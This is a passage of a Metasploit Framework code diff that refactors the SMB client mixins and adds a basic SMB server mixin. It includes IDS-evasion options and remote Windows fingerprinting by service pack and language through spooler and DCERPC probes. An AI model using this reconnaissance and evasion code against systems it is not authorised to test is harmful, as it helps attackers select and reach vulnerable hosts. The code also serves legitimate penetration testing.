'Korean' =>
|
||||
[
|
||||
"\xd0\xc6\xa9\xac\x20\x00\x04\xd5\xb0\xb9\x30\xd1",
|
||||
],
|
||||
'Russian' =>
|
||||
[
|
||||
"\x1f\x04\x40\x04\x38\x04\x3d\x04\x42\x04\x35\x04\x40\x04\x4b\x04\x20\x00\x43\x04\x34\x04\x30\x04\x3b\x04\x35\x04\x3d\x04\x3d\x04\x3e\x04\x33\x04\x3e\x04\x20\x00\x34\x04\x3e\x04\x41\x04\x42\x04\x43\x04\x3f\x04\x30\x04",
|
||||
],
|
||||
|
||||
}
|
||||
|
||||
begin
|
||||
prov = smb_enumprintproviders()
|
||||
if(prov)
|
||||
sigs.each_key do |k|
|
||||
sigs[k].each do |s|
|
||||
if(prov.index(s))
|
||||
lang = k
|
||||
break
|
||||
end
|
||||
break if lang != 'Unknown'
|
||||
end
|
||||
break if lang != 'Unknown'
|
||||
end
|
||||
|
||||
if(lang == 'Unknown')
|
||||
|
||||
@fpcache ||= {}
|
||||
mhash = ::Digest::MD5.hexdigest(prov[4,prov.length-4])
|
||||
|
||||
if(not @fpcache[mhash])
|
||||
|
||||
buff = "\n"
|
||||
buff << "*** NEW FINGERPRINT: PLEASE SEND TO [ msfdev[at]metasploit.com ]\n"
|
||||
buff << " VERS: $Revision$\n"
|
||||
buff << " HOST: #{rhost}\n"
|
||||
buff << " OS: #{os}\n"
|
||||
buff << " SP: #{sp}\n"
|
||||
|
||||
prov.unpack("H*")[0].scan(/.{64}|.*/).each do |line|
|
||||
next if line.length == 0
|
||||
buff << " FP: #{line}\n"
|
||||
end
|
||||
|
||||
prov.split(/\x00\x00+/n).each do |line|
|
||||
line.gsub!("\x00",'')
|
||||
line.strip!
|
||||
next if line.length < 6
|
||||
|
||||
buff << " TXT: #{line}\n"
|
||||
end
|
||||
|
||||
buff << "*** END FINGERPRINT\n"
|
||||
|
||||
print_line(buff)
|
||||
|
||||
@fpcache[mhash] = true
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
|
||||
end
|
||||
lang
|
||||
end
|
||||
|
||||
# @return [Rex::Proto::SMB::SimpleClient]
|
||||
attr_accessor :simple
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
|
@ -0,0 +1,636 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/smb'
|
||||
require 'rex/proto/ntlm'
|
||||
require 'rex/proto/dcerpc'
|
||||
require 'rex/encoder/ndr'
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB
|
||||
# This mixin provides utility methods for interacting with a SMB/CIFS service on
|
||||
# a remote machine. These methods may generally be useful in the context of
|
||||
# exploitation. This mixin extends the Tcp exploit mixin. Only one SMB
|
||||
# service can be accessed at a time using this class.
|
||||
module Client
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::NTLM::Client
|
||||
|
||||
SIMPLE = Rex::Proto::SMB::SimpleClient
|
||||
XCEPT = Rex::Proto::SMB::Exceptions
|
||||
CONST = Rex::Proto::SMB::Constants
|
||||
|
||||
|
||||
# Alias over the Rex DCERPC protocol modules
|
||||
DCERPCPacket = Rex::Proto::DCERPC::Packet
|
||||
DCERPCClient = Rex::Proto::DCERPC::Client
|
||||
DCERPCResponse = Rex::Proto::DCERPC::Response
|
||||
DCERPCUUID = Rex::Proto::DCERPC::UUID
|
||||
NDR = Rex::Encoder::NDR
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_evasion_options(
|
||||
[
|
||||
OptBool.new('SMB::pipe_evasion', [ true, 'Enable segmented read/writes for SMB Pipes', false]),
|
||||
OptInt.new('SMB::pipe_write_min_size', [ true, 'Minimum buffer size for pipe writes', 1]),
|
||||
OptInt.new('SMB::pipe_write_max_size', [ true, 'Maximum buffer size for pipe writes', 1024]),
|
||||
OptInt.new('SMB::pipe_read_min_size', [ true, 'Minimum buffer size for pipe reads', 1]),
|
||||
OptInt.new('SMB::pipe_read_max_size', [ true, 'Maximum buffer size for pipe reads', 1024]),
|
||||
OptInt.new('SMB::pad_data_level', [ true, 'Place extra padding between headers and data (level 0-3)', 0]),
|
||||
OptInt.new('SMB::pad_file_level', [ true, 'Obscure path names used in open/create (level 0-3)', 0]),
|
||||
OptInt.new('SMB::obscure_trans_pipe_level', [ true, 'Obscure PIPE string in TransNamedPipe (level 0-3)', 0]),
|
||||
|
||||
], Msf::Exploit::Remote::SMB::Client)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]),
|
||||
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
|
||||
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
|
||||
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),
|
||||
OptString.new('SMBName', [ true, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER']),
|
||||
OptBool.new('SMB::VerifySignature', [ true, "Enforces client-side verification of server response signatures", false]),
|
||||
OptInt.new('SMB::ChunkSize', [ true, 'The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing', 500]),
|
||||
#
|
||||
# Control the identified operating system of the client
|
||||
#
|
||||
OptString.new('SMB::Native_OS', [ true, 'The Native OS to send during authentication', 'Windows 2000 2195']),
|
||||
OptString.new('SMB::Native_LM', [ true, 'The Native LM to send during authentication', 'Windows 2000 5.0']),
|
||||
|
||||
], Msf::Exploit::Remote::SMB::Client)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST,
|
||||
OptInt.new('RPORT', [ true, 'Set the SMB service port', 445])
|
||||
], Msf::Exploit::Remote::SMB::Client)
|
||||
|
||||
register_autofilter_ports([ 139, 445])
|
||||
register_autofilter_services(%W{ netbios-ssn microsoft-ds })
|
||||
end
|
||||
|
||||
# Override {Exploit::Remote::Tcp#connect} to setup an SMB connection
|
||||
# and configure evasion options
|
||||
#
|
||||
# Also populates {#simple}.
|
||||
#
|
||||
# @param (see Exploit::Remote::Tcp#connect)
|
||||
# @return (see Exploit::Remote::Tcp#connect)
|
||||
def connect(global=true)
|
||||
|
||||
disconnect() if global
|
||||
|
||||
s = super(global)
|
||||
self.sock = s if global
|
||||
|
||||
# Disable direct SMB when SMBDirect has not been set
|
||||
# and the destination port is configured as 139
|
||||
direct = smb_direct
|
||||
if(datastore.default?('SMBDirect') and rport.to_i == 139)
|
||||
direct = false
|
||||
end
|
||||
|
||||
c = SIMPLE.new(s, direct)
|
||||
|
||||
# setup pipe evasion foo
|
||||
if datastore['SMB::pipe_evasion']
|
||||
# XXX - insert code to change the instance of the read/write functions to do segmentation
|
||||
end
|
||||
|
||||
if (datastore['SMB::pad_data_level'])
|
||||
c.client.evasion_opts['pad_data'] = datastore['SMB::pad_data_level']
|
||||
end
|
||||
|
||||
if (datastore['SMB::pad_file_level'])
|
||||
c.client.evasion_opts['pad_file'] = datastore['SMB::pad_file_level']
|
||||
end
|
||||
|
||||
if (datastore['SMB::obscure_trans_pipe_level'])
|
||||
c.client.evasion_opts['obscure_trans_pipe'] = datastore['SMB::obscure_trans_pipe_level']
|
||||
end
|
||||
|
||||
self.simple = c if global
|
||||
c
|
||||
end
|
||||
|
||||
# Convert a standard ASCII string to 16-bit Unicode
|
||||
def unicode(str)
|
||||
Rex::Text.to_unicode(str)
|
||||
end
|
||||
|
||||
# Establishes an SMB session over the default socket and connects to
|
||||
# the IPC$ share.
|
||||
#
|
||||
# You should call {#connect} before calling this
|
||||
#
|
||||
# @return [void]
|
||||
def smb_login
|
||||
simple.login(
|
||||
datastore['SMBName'],
|
||||
datastore['SMBUser'],
|
||||
datastore['SMBPass'],
|
||||
datastore['SMBDomain'],
|
||||
datastore['SMB::VerifySignature'],
|
||||
datastore['NTLM::UseNTLMv2'],
|
||||
datastore['NTLM::UseNTLM2_session'],
|
||||
datastore['NTLM::SendLM'],
|
||||
datastore['NTLM::UseLMKey'],
|
||||
datastore['NTLM::SendNTLM'],
|
||||
datastore['SMB::Native_OS'],
|
||||
datastore['SMB::Native_LM'],
|
||||
{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
|
||||
)
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||
end
|
||||
|
||||
|
||||
# This method returns the native operating system of the peer
|
||||
def smb_peer_os
|
||||
self.simple.client.peer_native_os
|
||||
end
|
||||
|
||||
# This method returns the native lanman version of the peer
|
||||
def smb_peer_lm
|
||||
self.simple.client.peer_native_lm
|
||||
end
|
||||
|
||||
# This method opens a handle to an IPC pipe
|
||||
def smb_create(pipe)
|
||||
self.simple.create_pipe(pipe)
|
||||
end
|
||||
|
||||
#the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations)
|
||||
#cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED
|
||||
#fd.chunk_size = 500 is better
|
||||
def smb_open(path, perm)
|
||||
self.simple.open(path, perm, datastore['SMB::ChunkSize'])
|
||||
end
|
||||
|
||||
def smb_hostname
|
||||
datastore['SMBName'] || '*SMBSERVER'
|
||||
end
|
||||
|
||||
def smb_direct
|
||||
datastore['SMBDirect']
|
||||
end
|
||||
|
||||
def domain
|
||||
datastore['SMBDomain']
|
||||
end
|
||||
|
||||
def smbhost
|
||||
if domain == "."
|
||||
"#{rhost}:#{rport}"
|
||||
else
|
||||
"#{rhost}:#{rport}|#{domain}"
|
||||
end
|
||||
end
|
||||
|
||||
# If the username contains a / slash, then
|
||||
# split it as a domain/username. NOTE: this
|
||||
# is predicated on forward slashes, and not
|
||||
# Microsoft's backwards slash convention.
|
||||
def domain_username_split(user)
|
||||
return user if(user.nil? || user.empty?)
|
||||
if !user[/\//] # Only /, not \!
|
||||
return [nil,user]
|
||||
else
|
||||
return user.split("/",2)
|
||||
end
|
||||
end
|
||||
|
||||
def splitname(uname)
|
||||
if datastore["PRESERVE_DOMAINS"]
|
||||
d,u = domain_username_split(uname)
|
||||
return u
|
||||
else
|
||||
return uname
|
||||
end
|
||||
end
|
||||
|
||||
# Whether a remote file exists
|
||||
#
|
||||
# @param file [String] Path to a file to remove, relative to the
|
||||
# most-recently connected share
|
||||
# @raise [Rex::Proto::SMB::Exceptions::ErrorCode]
|
||||
def smb_file_exist?(file)
|
||||
begin
|
||||
fd = simple.open(file, 'ro')
|
||||
rescue XCEPT::ErrorCode => e
|
||||
# If attempting to open the file results in a "*_NOT_FOUND" error,
|
||||
# then we can be sure the file is not there.
|
||||
#
|
||||
# Copy-pasted from smb/exceptions.rb to avoid the gymnastics
|
||||
# required to pull them out of a giant inverted hash
|
||||
#
|
||||
# 0xC0000034 => "STATUS_OBJECT_NAME_NOT_FOUND",
|
||||
# 0xC000003A => "STATUS_OBJECT_PATH_NOT_FOUND",
|
||||
# 0xC0000225 => "STATUS_NOT_FOUND",
|
||||
error_is_not_found = [ 0xC0000034, 0xC000003A, 0xC0000225 ].include?(e.error_code)
|
||||
# If the server returns some other error, then there was a
|
||||
# permissions problem or some other difficulty that we can't
|
||||
# really account for and hope the caller can deal with it.
|
||||
raise e unless error_is_not_found
|
||||
found = !error_is_not_found
|
||||
else
|
||||
# There was no exception, so we know the file is openable
|
||||
fd.close
|
||||
found = true
|
||||
end
|
||||
|
||||
found
|
||||
end
|
||||
|
||||
# Remove remote file
|
||||
#
|
||||
# @param file (see #smb_file_exist?)
|
||||
# @return [void]
|
||||
def smb_file_rm(file)
|
||||
fd = smb_open(file, 'ro')
|
||||
fd.delete
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Fingerprinting methods
|
||||
#
|
||||
|
||||
|
||||
# Calls the EnumPrinters() function of the spooler service
|
||||
def smb_enumprinters(flags, name, level, blen)
|
||||
stub =
|
||||
NDR.long(flags) +
|
||||
(name ? NDR.uwstring(name) : NDR.long(0)) +
|
||||
NDR.long(level) +
|
||||
NDR.long(rand(0xffffffff)+1)+
|
||||
NDR.long(blen) +
|
||||
"\x00" * blen +
|
||||
NDR.long(blen)
|
||||
|
||||
handle = dcerpc_handle(
|
||||
'12345678-1234-abcd-ef00-0123456789ab', '1.0',
|
||||
'ncacn_np', ["\\SPOOLSS"]
|
||||
)
|
||||
|
||||
begin
|
||||
dcerpc_bind(handle)
|
||||
dcerpc.call(0x00, stub)
|
||||
return dcerpc.last_response.stub_data
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# This method dumps the print provider strings from the spooler
|
||||
def smb_enumprintproviders
|
||||
resp = smb_enumprinters(8, nil, 1, 0)
|
||||
return nil if not resp
|
||||
rptr, tmp, blen = resp.unpack("V*")
|
||||
|
||||
resp = smb_enumprinters(8, nil, 1, blen)
|
||||
return nil if not resp
|
||||
|
||||
bcnt,pcnt,stat = resp[-12, 12].unpack("VVV")
|
||||
return nil if stat != 0
|
||||
return nil if pcnt == 0
|
||||
return nil if bcnt > blen
|
||||
return nil if pcnt < 3
|
||||
|
||||
#
|
||||
# The correct way, which leads to invalid offsets :-(
|
||||
#
|
||||
#providers = []
|
||||
#
|
||||
#0.upto(pcnt-1) do |i|
|
||||
# flags,desc_o,name_o,comm_o = resp[8 + (i*16), 16].unpack("VVVV")
|
||||
#
|
||||
# #desc = read_unicode(resp,8+desc_o).gsub("\x00", '')
|
||||
# #name = read_unicode(resp,8+name_o).gsub("\x00", '')
|
||||
# #comm = read_unicode(resp,8+comm_o).gsub("\x00", '')
|
||||
# #providers << [flags,desc,name,comm]
|
||||
#end
|
||||
#
|
||||
#providers
|
||||
|
||||
return resp
|
||||
|
||||
end
|
||||
|
||||
# This method performs an extensive set of fingerprinting operations
|
||||
def smb_fingerprint
|
||||
fprint = {}
|
||||
|
||||
# Connect to the server if needed
|
||||
if not self.simple
|
||||
connect()
|
||||
smb_login()
|
||||
end
|
||||
|
||||
fprint['native_os'] = smb_peer_os()
|
||||
fprint['native_lm'] = smb_peer_lm()
|
||||
|
||||
# Leverage Recog for SMB native OS fingerprinting
|
||||
fp_match = Recog::Nizer.match('smb.native_os', fprint['native_os']) || { }
|
||||
|
||||
os = fp_match['os.product'] || 'Unknown'
|
||||
sp = fp_match['os.version'] || ''
|
||||
|
||||
# Metasploit prefers 'Windows 2003' vs 'Windows Server 2003'
|
||||
if os =~ /^Windows Server/
|
||||
os = os.sub(/^Windows Server/, 'Windows')
|
||||
end
|
||||
|
||||
if fp_match['os.edition']
|
||||
fprint['edition'] = fp_match['os.edition']
|
||||
end
|
||||
|
||||
if fp_match['os.build']
|
||||
fprint['build'] = fp_match['os.build']
|
||||
end
|
||||
|
||||
if sp == ''
|
||||
sp = smb_fingerprint_windows_sp(os)
|
||||
end
|
||||
|
||||
lang = smb_fingerprint_windows_lang
|
||||
|
||||
fprint['os'] = os
|
||||
fprint['sp'] = sp
|
||||
fprint['lang'] = lang
|
||||
|
||||
fprint
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the service pack level of a Windows system via SMB probes
|
||||
#
|
||||
def smb_fingerprint_windows_sp(os)
|
||||
sp = ''
|
||||
|
||||
if (os == 'Windows XP')
|
||||
# SRVSVC was blocked in SP2
|
||||
begin
|
||||
smb_create("\\SRVSVC")
|
||||
sp = 'Service Pack 0 / 1'
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
if (e.error_code == 0xc0000022)
|
||||
sp = 'Service Pack 2+'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if (os == 'Windows 2000' and sp.length == 0)
|
||||
# LLSRPC was blocked in a post-SP4 update
|
||||
begin
|
||||
smb_create("\\LLSRPC")
|
||||
sp = 'Service Pack 0 - 4'
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
if (e.error_code == 0xc0000022)
|
||||
sp = 'Service Pack 4 with MS05-010+'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Perform granular XP SP checks if LSARPC is exposed
|
||||
#
|
||||
if (os == 'Windows XP')
|
||||
|
||||
#
|
||||
# Service Pack 2 added a range(0,64000) to opnum 0x22 in SRVSVC
|
||||
# Credit to spoonm for first use of unbounded [out] buffers
|
||||
#
|
||||
handle = dcerpc_handle(
|
||||
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
|
||||
'ncacn_np', ["\\BROWSER"]
|
||||
)
|
||||
|
||||
begin
|
||||
dcerpc_bind(handle)
|
||||
|
||||
stub =
|
||||
NDR.uwstring(Rex::Text.rand_text_alpha(rand(10)+1)) +
|
||||
NDR.wstring(Rex::Text.rand_text_alpha(rand(10)+1)) +
|
||||
NDR.long(64001) +
|
||||
NDR.long(0) +
|
||||
NDR.long(0)
|
||||
|
||||
dcerpc.call(0x22, stub)
|
||||
sp = "Service Pack 0 / 1"
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ReadPacket
|
||||
rescue ::Rex::Proto::DCERPC::Exceptions::Fault
|
||||
sp = "Service Pack 2+"
|
||||
rescue ::Exception
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Service Pack 3 fixed information leaks via [unique][out] pointers
|
||||
# Call SRVSVC::NetRemoteTOD() to return [out] [ref] [unique]
|
||||
# Credit:
|
||||
# Pointer leak is well known, but Immunity also covered in a paper
|
||||
# Silent fix of pointer leak in SP3 and detection method by Rhys Kidd
|
||||
#
|
||||
handle = dcerpc_handle(
|
||||
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
|
||||
'ncacn_np', ["\\BROWSER"]
|
||||
)
|
||||
|
||||
begin
|
||||
dcerpc_bind(handle)
|
||||
|
||||
stub = NDR.uwstring(Rex::Text.rand_text_alpha(rand(8)+1))
|
||||
resp = dcerpc.call(0x1c, stub)
|
||||
|
||||
if(resp and resp[0,4] == "\x00\x00\x02\x00")
|
||||
sp = "Service Pack 3"
|
||||
else
|
||||
if(resp and sp =~ /Service Pack 2\+/)
|
||||
sp = "Service Pack 2"
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ReadPacket
|
||||
rescue ::Exception
|
||||
end
|
||||
end
|
||||
|
||||
sp
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Determine the native language pack of a Windows system via SMB probes
|
||||
#
|
||||
def smb_fingerprint_windows_lang
|
||||
|
||||
#
|
||||
# Remote language detection via Print Providers
|
||||
# Credit: http://immunityinc.com/downloads/Remote_Language_Detection_in_Immunity_CANVAS.odt
|
||||
#
|
||||
|
||||
lang = 'Unknown'
|
||||
|
||||
sigs =
|
||||
{
|
||||
'English' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Windows NT Remote Printers'),
|
||||
Rex::Text.to_unicode('LanMan Print Services')
|
||||
],
|
||||
'Spanish' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Impresoras remotas Windows NT'),
|
||||
Rex::Text.to_unicode('Impresoras remotas de Windows NT')
|
||||
],
|
||||
'Italian' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Stampanti remote di Windows NT'),
|
||||
Rex::Text.to_unicode('Servizi di stampa LanMan')
|
||||
],
|
||||
'French' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Imprimantes distantes NT'),
|
||||
Rex::Text.to_unicode('Imprimantes distantes pour Windows NT'),
|
||||
Rex::Text.to_unicode("Services d'impression LanMan")
|
||||
],
|
||||
'German' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Remotedrucker')
|
||||
],
|
||||
'Portuguese - Brazilian' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Impr. remotas Windows NT'),
|
||||
Rex::Text.to_unicode('Impressoras remotas do Windows NT')
|
||||
],
|
||||
'Portuguese' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Imp. remotas do Windows NT')
|
||||
],
|
||||
'Hungarian' =>
|
||||
[
|
||||
Rex::Text.to_unicode("\x54\xe1\x76\x6f\x6c\x69\x20\x6e\x79\x6f\x6d\x74\x61\x74\xf3\x6b")
|
||||
],
|
||||
'Finnish' =>
|
||||
[
|
||||
Rex::Text.to_unicode("\x45\x74\xe4\x74\x75\x6c\x6f\x73\x74\x69\x6d\x65\x74")
|
||||
],
|
||||
'Dutch' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Externe printers voor NT')
|
||||
],
|
||||
'Danish' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Fjernprintere')
|
||||
],
|
||||
'Swedish' =>
|
||||
[
|
||||
Rex::Text.to_unicode("\x46\x6a\xe4\x72\x72\x73\x6b\x72\x69\x76\x61\x72\x65")
|
||||
],
|
||||
'Polish' =>
|
||||
[
|
||||
Rex::Text.to_unicode('Zdalne drukarki')
|
||||
],
|
||||
'Czech' =>
|
||||
[
|
||||
Rex::Text.to_unicode("\x56\x7a\x64\xe1\x6c\x65\x6e\xe9\x20\x74\x69\x73\x6b\xe1\x72\x6e\x79")
|
||||
],
|
||||
'Turkish' =>
|
||||
[
|
||||
"\x59\x00\x61\x00\x7a\x00\x31\x01\x63\x00\x31\x01\x6c\x00\x61\x00\x72\x00"
|
||||
],
|
||||
'Japanese' =>
|
||||
[
|
||||
"\xea\x30\xe2\x30\xfc\x30\xc8\x30\x20\x00\xd7\x30\xea\x30\xf3\x30\xbf\x30"
|
||||
],
|
||||
'Chinese - Traditional' =>
|
||||
[
|
||||
"\xdc\x8f\x0b\x7a\x53\x62\x70\x53\x3a\x67"
|
||||
],
|
||||
'Chinese - Traditional / Taiwan' =>
|
||||
[
|
||||
"\x60\x90\xef\x7a\x70\x53\x68\x88\x5f\x6a",
|
||||
],
|
||||
'Korean' =>
|
||||
[
|
||||
"\xd0\xc6\xa9\xac\x20\x00\x04\xd5\xb0\xb9\x30\xd1",
|
||||
],
|
||||
'Russian' =>
|
||||
[
|
||||
"\x1f\x04\x40\x04\x38\x04\x3d\x04\x42\x04\x35\x04\x40\x04\x4b\x04\x20\x00\x43\x04\x34\x04\x30\x04\x3b\x04\x35\x04\x3d\x04\x3d\x04\x3e\x04\x33\x04\x3e\x04\x20\x00\x34\x04\x3e\x04\x41\x04\x42\x04\x43\x04\x3f\x04\x30\x04",
|
||||
],
|
||||
|
||||
}
|
||||
|
||||
begin
|
||||
prov = smb_enumprintproviders()
|
||||
if(prov)
|
||||
sigs.each_key do |k|
|
||||
sigs[k].each do |s|
|
||||
if(prov.index(s))
|
||||
lang = k
|
||||
break
|
||||
end
|
||||
break if lang != 'Unknown'
|
||||
end
|
||||
break if lang != 'Unknown'
|
||||
end
|
||||
|
||||
if(lang == 'Unknown')
|
||||
|
||||
@fpcache ||= {}
|
||||
mhash = ::Digest::MD5.hexdigest(prov[4,prov.length-4])
|
||||
|
||||
if(not @fpcache[mhash])
|
||||
|
||||
buff = "\n"
|
||||
buff << "*** NEW FINGERPRINT: PLEASE SEND TO [ msfdev[at]metasploit.com ]\n"
|
||||
buff << " VERS: $Revision$\n"
|
||||
buff << " HOST: #{rhost}\n"
|
||||
buff << " OS: #{os}\n"
|
||||
buff << " SP: #{sp}\n"
|
||||
|
||||
prov.unpack("H*")[0].scan(/.{64}|.*/).each do |line|
|
||||
next if line.length == 0
|
||||
buff << " FP: #{line}\n"
|
||||
end
|
||||
|
||||
prov.split(/\x00\x00+/n).each do |line|
|
||||
line.gsub!("\x00",'')
|
||||
line.strip!
|
||||
next if line.length < 6
|
||||
|
||||
buff << " TXT: #{line}\n"
|
||||
end
|
||||
|
||||
buff << "*** END FINGERPRINT\n"
|
||||
|
||||
print_line(buff)
|
||||
|
||||
@fpcache[mhash] = true
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
|
||||
end
|
||||
lang
|
||||
end
|
||||
|
||||
# @return [Rex::Proto::SMB::SimpleClient]
|
||||
attr_accessor :simple
|
||||
end
|
||||
end
|
||||
end
|
|
@ -4,9 +4,9 @@ module Msf
|
|||
|
||||
# Mini-mixin for making SMBUser/SMBPass/SMBDomain regular options vs advanced
|
||||
# Included when the module needs credentials to function
|
||||
module Exploit::Remote::SMB::Authenticated
|
||||
module Exploit::Remote::SMB::Client::Authenticated
|
||||
|
||||
include Msf::Exploit::Remote::SMB
|
||||
include Msf::Exploit::Remote::SMB::Client
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
@ -15,7 +15,7 @@ module Exploit::Remote::SMB::Authenticated
|
|||
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
|
||||
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
|
||||
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', 'WORKGROUP']),
|
||||
], Msf::Exploit::Remote::SMB::Authenticated)
|
||||
], Msf::Exploit::Remote::SMB::Client::Authenticated)
|
||||
end
|
||||
end
|
||||
|
|
@ -11,11 +11,11 @@ module Msf
|
|||
# and running a binary.
|
||||
####
|
||||
|
||||
module Exploit::Remote::SMB::Psexec
|
||||
module Exploit::Remote::SMB::Client::Psexec
|
||||
|
||||
include Rex::Constants::Windows
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Exploit::Remote::SMB::Authenticated
|
||||
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
|
@ -0,0 +1,156 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB
|
||||
# This mixin provides a minimal SMB server
|
||||
module Server
|
||||
include Msf::Exploit::Remote::TcpServer
|
||||
include Msf::Exploit::NTLM
|
||||
CONST = ::Rex::Proto::SMB::Constants
|
||||
CRYPT = ::Rex::Proto::SMB::Crypt
|
||||
UTILS = ::Rex::Proto::SMB::Utils
|
||||
XCEPT = ::Rex::Proto::SMB::Exceptions
|
||||
EVADE = ::Rex::Proto::SMB::Evasions
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
deregister_options('SSL', 'SSLCert')
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def setup
|
||||
super
|
||||
@state = {}
|
||||
end
|
||||
|
||||
def on_client_connect(client)
|
||||
# print_status("New SMB connection from #{client.peerhost}:#{client.peerport}")
|
||||
smb_conn(client)
|
||||
end
|
||||
|
||||
def on_client_data(client)
|
||||
# print_status("New data from #{client.peerhost}:#{client.peerport}")
|
||||
smb_recv(client)
|
||||
true
|
||||
end
|
||||
|
||||
def on_client_close(client)
|
||||
smb_stop(client)
|
||||
end
|
||||
|
||||
def smb_conn(c)
|
||||
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport}
|
||||
end
|
||||
|
||||
def smb_stop(c)
|
||||
@state.delete(c)
|
||||
end
|
||||
|
||||
def smb_recv(c)
|
||||
smb = @state[c]
|
||||
smb[:data] ||= ''
|
||||
smb[:data] << c.get_once
|
||||
|
||||
while(smb[:data].length > 0)
|
||||
|
||||
return if smb[:data].length < 4
|
||||
|
||||
plen = smb[:data][2,2].unpack('n')[0]
|
||||
|
||||
return if smb[:data].length < plen+4
|
||||
|
||||
buff = smb[:data].slice!(0, plen+4)
|
||||
|
||||
pkt_nbs = CONST::NBRAW_PKT.make_struct
|
||||
pkt_nbs.from_s(buff)
|
||||
|
||||
# print_status("NetBIOS request from #{smb[:name]} #{pkt_nbs.v['Type']} #{pkt_nbs.v['Flags']} #{buff.inspect}")
|
||||
|
||||
# Check for a NetBIOS name request
|
||||
if (pkt_nbs.v['Type'] == 0x81)
|
||||
# Accept any name they happen to send
|
||||
|
||||
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '')
|
||||
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '')
|
||||
|
||||
smb[:nbdst] = host_dst
|
||||
smb[:nbsrc] = host_src
|
||||
|
||||
# print_status("NetBIOS session request from #{smb[:name]} (asking for #{host_dst} from #{host_src})")
|
||||
c.write("\x82\x00\x00\x00")
|
||||
next
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# TODO: Support AndX parameters
|
||||
#
|
||||
|
||||
|
||||
# Cast this to a generic SMB structure
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
# Only response to requests, ignore server replies
|
||||
if (pkt['Payload']['SMB'].v['Flags1'] & 128 != 0)
|
||||
print_status("Ignoring server response from #{smb[:name]}")
|
||||
next
|
||||
end
|
||||
|
||||
cmd = pkt['Payload']['SMB'].v['Command']
|
||||
begin
|
||||
smb_cmd_dispatch(cmd, c, buff)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_status("Error processing request from #{smb[:name]} (#{cmd}): #{e.class} #{e} #{e.backtrace}")
|
||||
next
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def smb_cmd_dispatch(cmd, c, buff)
|
||||
smb = @state[c]
|
||||
print_status("Received command #{cmd} from #{smb[:name]}")
|
||||
end
|
||||
|
||||
def smb_set_defaults(c, pkt)
|
||||
smb = @state[c]
|
||||
pkt['Payload']['SMB'].v['ProcessID'] = smb[:process_id].to_i
|
||||
